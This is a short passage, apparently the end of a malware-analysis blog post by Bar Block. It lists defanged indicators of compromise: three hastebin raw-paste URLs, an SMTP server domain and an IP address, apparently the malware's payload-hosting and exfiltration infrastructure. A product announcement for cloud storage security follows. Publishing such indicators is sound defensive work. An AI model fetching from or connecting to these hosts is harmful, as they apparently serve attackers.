https://hastebin[.]com/raw/edutecikus
https://hastebin[.]com/raw/esoqaxeqag
https://hastebin[.]com/raw/noqivebupe
The SMTP Domain and IP
smtp[.]privateemail[.]com
199.193.7.228

Announcing DSX for Cloud - Amazon S3, natively integrated zero-day data security for AWS S3.

Bar Block

From Bar Block.